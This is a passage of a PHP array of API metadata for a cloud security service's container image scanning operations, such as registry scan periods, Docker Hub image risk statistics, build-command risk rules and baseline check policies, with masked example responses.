scan period.'."\n", 'type' => 'object', 'properties' => [ 'ScanDayNum' => [ 'description' => 'The scan period. Unit: days.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '7', ], 'DayNumList' => [ 'description' => 'The selectable day options.'."\n", 'type' => 'string', 'example' => '1,3,7,15,30,90,180,365', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\",\\n \\"ScanDayNumConfig\\": {\\n \\"ScanDayNum\\": 7,\\n \\"DayNumList\\": \\"1,3,7,15,30,90,180,365\\"\\n }\\n}","type":"json"}]', 'title' => 'GetRegistryScanDayNum', 'translator' => 'machine', ], 'GetDockerhubImageRiskStatistic' => [ 'summary' => 'Queries the risk statistics of Docker Hub images.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Types', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The risk types that you want to query.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The image dimension at which you want to query risk statistics. Valid values:'."\n" ."\n" .'* **totalScanned**: Query risk statistics based on the number of scanned Docker Hub images.'."\n" .'* **vulAsap**: Query risk statistics based on the number of high-risk vulnerabilities.'."\n" .'* **baseline**: Query risk statistics based on the number of baselines.'."\n", 'type' => 'string', 'required' => false, 'example' => 'totalScanned', ], 'required' => false, 'maxItems' => 5, ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', ], 'RiskRankInfo' => [ 'description' => 'The information about the risk source.'."\n", 'type' => 'object', 'properties' => [ 'ScanTime' => [ 'description' => 'The timestamp when the scan was performed.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1693997625000', ], 'ScanTimeTimestamp' => [ 'description' => 'The timestamp when the scan was performed.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1693997625000', ], 'VulAsap' => [ 'description' => 'The number of high-risk vulnerabilities.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'Baseline' => [ 'description' => 'The number of baseline risks.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'TotalScanned' => [ 'description' => 'The number of scanned Docker Hub images.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\",\\n \\"RiskRankInfo\\": {\\n \\"ScanTime\\": 1693997625000,\\n \\"ScanTimeTimestamp\\": 1693997625000,\\n \\"VulAsap\\": 1,\\n \\"Baseline\\": 1,\\n \\"TotalScanned\\": 1\\n }\\n}","type":"json"}]', 'title' => 'GetDockerhubImageRiskStatistic', 'translator' => 'machine', ], 'ListImageRegistryExtra' => [ 'summary' => 'Queries the additional configuration information about an image repository.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'list', 'abilityTreeCode' => '92332', 'abilityTreeNodes' => [ 'FEATUREsasA217JR', ], 'autoTest' => false, ], 'parameters' => [ [ 'name' => 'RegistryId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the image repository.'."\n" ."\n" .'> You can call the [PageImageRegistry](~~PageImageRegistry~~) operation to obtain the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '25363', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8****', ], 'ImageRegistryExtraInfos' => [ 'description' => 'The additional configuration information about the image repository.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'RegistryId' => [ 'description' => 'The ID of the image repository.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '25363', ], 'AuthToken' => [ 'description' => 'The authorization token.'."\n", 'type' => 'string', 'example' => '64ad8ddf-6a4c-46b5-8dea-b105a06bd534', ], 'AliUid' => [ 'description' => 'The ID of the Alibaba Cloud account.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '176618589410****', ], 'RegistryType' => [ 'description' => 'The type of the image repository. Valid values:'."\n" ."\n" .'* **acr**: Container Registry.'."\n" .'* **harbor**: Harbor.'."\n" .'* **quay**: Quay.'."\n" .'* **CI/CD**: Jenkins.'."\n", 'type' => 'string', 'example' => 'harbor', ], 'Namespace' => [ 'description' => 'The namespace of the image.'."\n", 'type' => 'string', 'example' => 'public-goods', ], 'Id' => [ 'description' => 'The configuration ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '113441', ], ], 'description' => '', ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\",\\n \\"ImageRegistryExtraInfos\\": [\\n {\\n \\"RegistryId\\": 25363,\\n \\"AuthToken\\": \\"64ad8ddf-6a4c-46b5-8dea-b105a06bd534\\",\\n \\"AliUid\\": 0,\\n \\"RegistryType\\": \\"harbor\\",\\n \\"Namespace\\": \\"public-goods\\",\\n \\"Id\\": 113441\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListImageRegistryExtra', 'translator' => 'machine', ], 'RefreshRegistryToken' => [ 'summary' => 'Updates an image token.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92430', 'abilityTreeNodes' => [ 'FEATUREsasA217JR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'RegistryId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the image repository.'."\n" ."\n" .'> You can call the [PageImageRegistry](~~PageImageRegistry~~) operation to obtain the ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The returned token.'."\n", 'type' => 'string', 'example' => '77ba3bf5-af95-4b77-aa94-***********', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.', 'type' => 'string', 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": \\"77ba3bf5-af95-4b77-aa94-***********\\",\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', 'title' => 'RefreshRegistryToken', ], 'SetBuildRiskDefineRuleConfig' => [ 'summary' => 'Modifies configurations for scanning image build command risks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'update', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '234943', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Config', 'in' => 'query', 'schema' => [ 'description' => 'The configuration item for scanning image build command risks. Valid values:'."\n" ."\n" .'* **classKey**: Set the value to a valid value of the ClassKey parameter in RuleTree.'."\n" .'* **ruleList**: Set the value to a valid value of the RuleKey parameter in RuleList.'."\n" ."\n" .'> You can call the [GetBuildRiskDefineRuleConfig](~~GetBuildRiskDefineRuleConfig~~) operation to query the valid values.'."\n", 'type' => 'string', 'required' => false, 'example' => '['."\n" .' {'."\n" .' "classKey": "other",'."\n" .' "ruleList": ['."\n" .' "add",'."\n" .' "apk"'."\n" .' ]'."\n" .' }'."\n" .']', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The configuration ID for scanning image build command risks.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => 'BA674E4B-00CF-5DEA-8B92-360862FB5133', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 1\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"BA674E4B-00CF-5DEA-8B92-360862FB5133\\"\\n}","type":"json"}]', 'title' => 'SetBuildRiskDefineRuleConfig', ], 'GetBuildRiskDefineRuleConfig' => [ 'summary' => 'Queries configurations for scanning image build command risks.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '234935', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'Id' => [ 'description' => 'The configuration ID for scanning image build command risks.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '273698***', ], 'RuleCount' => [ 'description' => 'The total number of check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'SelectedCount' => [ 'description' => 'The number of selected check items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '99', ], 'RuleTree' => [ 'description' => 'The details of all check items.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The details for a type of check items.'."\n", 'type' => 'object', 'properties' => [ 'ClassKey' => [ 'description' => 'The check item type.'."\n", 'type' => 'string', 'example' => 'other', ], 'ClassName' => [ 'description' => 'The name of the check item type.'."\n", 'type' => 'string', 'example' => 'other', ], 'RuleList' => [ 'description' => 'The check items of the type.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the check item.'."\n", 'type' => 'object', 'properties' => [ 'RuleKey' => [ 'description' => 'The check item.'."\n", 'type' => 'string', 'example' => 'add', ], 'RuleName' => [ 'description' => 'The name of the check item.'."\n", 'type' => 'string', 'example' => 'used ADD', ], 'Selected' => [ 'description' => 'Indicates whether the check item is selected. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], ], ], ], ], ], ], ], ], 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'example' => 'true', ], 'Code' => [ 'description' => 'The response code. The status code **200** indicates that the request was successful. Other status codes indicate that the request failed. You can identify the cause of the failure based on the status code.'."\n", 'type' => 'string', 'example' => '200', ], 'Message' => [ 'description' => 'The returned message.'."\n", 'type' => 'string', 'example' => 'successful', ], 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '69BFFCDE-37D6-5A49-A8BC-BB03AC83****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'Service error, please try again later.', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Id\\": 0,\\n \\"RuleCount\\": 100,\\n \\"SelectedCount\\": 99,\\n \\"RuleTree\\": [\\n {\\n \\"ClassKey\\": \\"other\\",\\n \\"ClassName\\": \\"other\\",\\n \\"RuleList\\": [\\n {\\n \\"RuleKey\\": \\"add\\",\\n \\"RuleName\\": \\"used ADD\\",\\n \\"Selected\\": true\\n }\\n ]\\n }\\n ]\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"69BFFCDE-37D6-5A49-A8BC-BB03AC83****\\"\\n}","type":"json"}]', 'title' => 'GetBuildRiskDefineRuleConfig', ], 'ListPrivateRegistryType' => [ 'summary' => 'Queries the number of image repositories of each type.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413****', ], 'RegistryTypeInfos' => [ 'description' => 'An array that consists of image repository types.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the image repository type.'."\n", 'type' => 'object', 'properties' => [ 'RegistryType' => [ 'description' => 'The name of the image repository type. Valid values:'."\n" ."\n" .'* **acr**: Container Registry'."\n" .'* **harbor**: Harbor'."\n" .'* **quay**: Quay'."\n" .'* **CI/CD**: Jenkins'."\n", 'type' => 'string', 'example' => 'harbor', ], 'Count' => [ 'description' => 'The number of image repositories.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413****\\",\\n \\"RegistryTypeInfos\\": [\\n {\\n \\"RegistryType\\": \\"harbor\\",\\n \\"Count\\": 2\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListPrivateRegistryType', ], 'ListPrivateRegistryList' => [ 'summary' => 'Queries image repositories.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'RegistryType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the image repository. Valid values:'."\n" ."\n" .'* **acr**: Container Registry'."\n" .'* **harbor**: Harbor'."\n" .'* **quay**: Quay'."\n" .'* **CI/CD**: Jenkins'."\n", 'type' => 'string', 'required' => false, 'example' => 'harbor', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578AB****', ], 'ImageRegistryInfos' => [ 'description' => 'An array that consists of the image repositories.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the image repository.'."\n", 'type' => 'object', 'properties' => [ 'VpcId' => [ 'description' => 'The ID of the virtual private cloud (VPC).'."\n", 'type' => 'string', 'example' => 'vpc-bp12897gqrex01zn0****', ], 'Token' => [ 'description' => 'The authentication token of the user.'."\n", 'type' => 'string', 'example' => '0da12bce-cc36-4c48-b3e6-2215fc3a****', ], 'WhiteList' => [ 'description' => 'The whitelist of IP addresses.'."\n", 'type' => 'string', 'example' => '100.104.XXX.XXX', ], 'AliUid' => [ 'description' => 'The ID of the user.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1766185894******', ], 'RegistryType' => [ 'description' => 'The type of the image repository. Valid values:'."\n" ."\n" .'* **acr**: Container Registry'."\n" .'* **harbor**: Harbor'."\n" .'* **quay**: Quay'."\n" .'* **CI/CD**: Jenkins'."\n", 'type' => 'string', 'example' => 'harbor', ], 'DomainName' => [ 'description' => 'The domain name of the image repository.'."\n", 'type' => 'string', 'example' => 'example.com', ], 'RegionId' => [ 'description' => 'The region ID of the server.'."\n", 'type' => 'string', 'example' => 'cn-hangzhou', ], 'Password' => [ 'description' => 'The password used to log on to the image repository.'."\n", 'type' => 'string', 'example' => 'Harbor******', ], 'NetType' => [ 'description' => 'The network type. Valid values:'."\n" ."\n" .'* **1**: Internet'."\n" .'* **2**: VPC'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'RegistryVersion' => [ 'description' => 'The version of the image repository. Valid values:'."\n" ."\n" .'* **V1**: V1.0'."\n" .'* **V2**: V2.0'."\n", 'type' => 'string', 'example' => 'V1', ], 'ProtocolType' => [ 'description' => 'The type of the protocol. Valid values:'."\n" ."\n" .'* **1**: HTTP'."\n" .'* **2**: HTTPS'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1', ], 'RegistryHostIp' => [ 'description' => 'The IP address of the image repository.'."\n", 'type' => 'string', 'example' => '114.55.XXX.XXX', ], 'UserName' => [ 'description' => 'The username used to log on to the image repository.'."\n", 'type' => 'string', 'example' => 'RegistryUser', ], 'Id' => [ 'description' => 'The ID of the image repository.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '66485', ], 'RegistryName' => [ 'description' => 'The alias of the image repository.'."\n", 'type' => 'string', 'example' => 'test1', ], 'PersistenceDay' => [ 'description' => 'The number of days during which assets can be retained.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '90', ], 'JenkinsEnv' => [ 'description' => 'The information about the Jenkins environment.'."\n", 'type' => 'string', 'example' => 'JenkinsInfo', ], 'TransPerHour' => [ 'description' => 'The number of images that can be scanned per hour.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '30', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578AB****\\",\\n \\"ImageRegistryInfos\\": [\\n {\\n \\"VpcId\\": \\"vpc-bp12897gqrex01zn0****\\",\\n \\"Token\\": \\"0da12bce-cc36-4c48-b3e6-2215fc3a****\\",\\n \\"WhiteList\\": \\"100.104.XXX.XXX\\",\\n \\"AliUid\\": 0,\\n \\"RegistryType\\": \\"harbor\\",\\n \\"DomainName\\": \\"example.com\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Password\\": \\"Harbor******\\",\\n \\"NetType\\": 1,\\n \\"RegistryVersion\\": \\"V1\\",\\n \\"ProtocolType\\": 1,\\n \\"RegistryHostIp\\": \\"114.55.XXX.XXX\\",\\n \\"UserName\\": \\"RegistryUser\\",\\n \\"Id\\": 66485,\\n \\"RegistryName\\": \\"test1\\",\\n \\"PersistenceDay\\": 90,\\n \\"JenkinsEnv\\": \\"JenkinsInfo\\",\\n \\"TransPerHour\\": 30\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ListPrivateRegistryList', ], 'DescribeCountNotScannedImage' => [ 'summary' => 'Queries the number of images that are not scanned.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'NotScannedCnt' => [ 'description' => 'The number of images that are not scanned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '28', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"NotScannedCnt\\": 28,\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\"\\n}","type":"json"}]', 'title' => 'DescribeCountNotScannedImage', ], 'GetImageScanNumInPeriod' => [ 'summary' => 'Queries the number of image scans that are performed within the last several days.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'PastDay', 'in' => 'query', 'schema' => [ 'description' => 'The number of days.'."\n", 'type' => 'string', 'required' => true, 'example' => '7', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92****', ], 'ImageScanData' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'ImageScanCount' => [ 'description' => 'The number of image scans.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '150', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92****\\",\\n \\"ImageScanData\\": {\\n \\"ImageScanCount\\": 150\\n }\\n}","type":"json"}]', 'title' => 'GetImageScanNumInPeriod', ], 'SetRegistryScanDayNum' => [ 'summary' => 'Specifies a cycle to scan images for image repositories. Unit: days.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', ], 'parameters' => [ [ 'name' => 'ScanDayNum', 'in' => 'query', 'schema' => [ 'description' => 'The cycle at which you want to scan your images. Unit: days.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '48483161-F328-5A12-AB78-3EB81F37****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"48483161-F328-5A12-AB78-3EB81F37****\\"\\n}","type":"json"}]', 'title' => 'SetRegistryScanDayNum', ], 'SaveImageBaselineStrategy' => [ 'summary' => 'Saves a baseline check policy for images.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'abilityTreeCode' => '92434', 'abilityTreeNodes' => [ 'FEATUREsas0XJWFD', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'BaselineItemList', 'in' => 'query', 'schema' => [ 'description' => 'The baseline check items.'."\n" ."\n" .'> You can call the [DescribeImageBaselineStrategy](~~DescribeImageBaselineStrategy~~) operation to query baseline check items.'."\n", 'type' => 'string', 'required' => true, 'example' => 'ak_leak', ], ], [ 'name' => 'StrategyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the baseline check policy.'."\n" ."\n" .'> You can call the [DescribeImageBaselineStrategy](~~DescribeImageBaselineStrategy~~) operation to query the IDs of baseline check policies.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '8639', ], ], [ 'name' => 'StrategyName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the baseline check policy.'."\n", 'type' => 'string', 'required' => false, 'example' => 'default', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'Source', 'in' => 'query', 'schema' => [ 'description' => 'The data source. If this parameter is left empty, the baseline check policy for images is queried. Valid values:'."\n" ."\n" .'* **default**: the baseline check policy for images'."\n" .'* **agentless**: agentless detection'."\n", 'type' => 'string', 'required' => false, 'example' => 'agentless', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => '9AB5D3DE-6E0F-5633-AA71-4B90C724****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9AB5D3DE-6E0F-5633-AA71-4B90C724****\\"\\n}","type":"json"}]', 'title' => 'SaveImageBaselineStrategy', ], 'OperateImageBaselineWhitelist' => [ 'summary' => 'Adds a check item of an image baseline to the whitelist, or removes a check item of an image baseline from the whitelist.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasF0IRDR', ], ], 'parameters' => [ [ 'name' => 'BaselineItemKeyList', 'in' => 'query', 'schema' => [ 'description' => 'The keys of baseline check items.'."\n", 'type' => 'string', 'required' => true, 'example' => 'hc.image.checklist.identify.hc_exploit_es_linux.item', ], ], [ 'name' => 'Operation', 'in' => 'query', 'schema' => [ 'description' => 'The operation that you want to perform on the check items. Valid values:'."\n" ."\n" .'* **add**: adds the check items to the whitelist'."\n" .'* **del**: removes the check items from the whitelist'."\n", 'type' => 'string', 'required' => true, 'example' => 'add', ], ], [ 'name' => 'ImageUuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the image.'."\n", 'type' => 'string', 'required' => false, 'example' => 'a5250ebca765dc9eb1a84b790b0e****', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'ScanRange', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of the assets that you want to scan.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The type of the asset that you want to scan. Valid values:'."\n" ."\n" .'* **image**'."\n" .'* **container**'."\n", 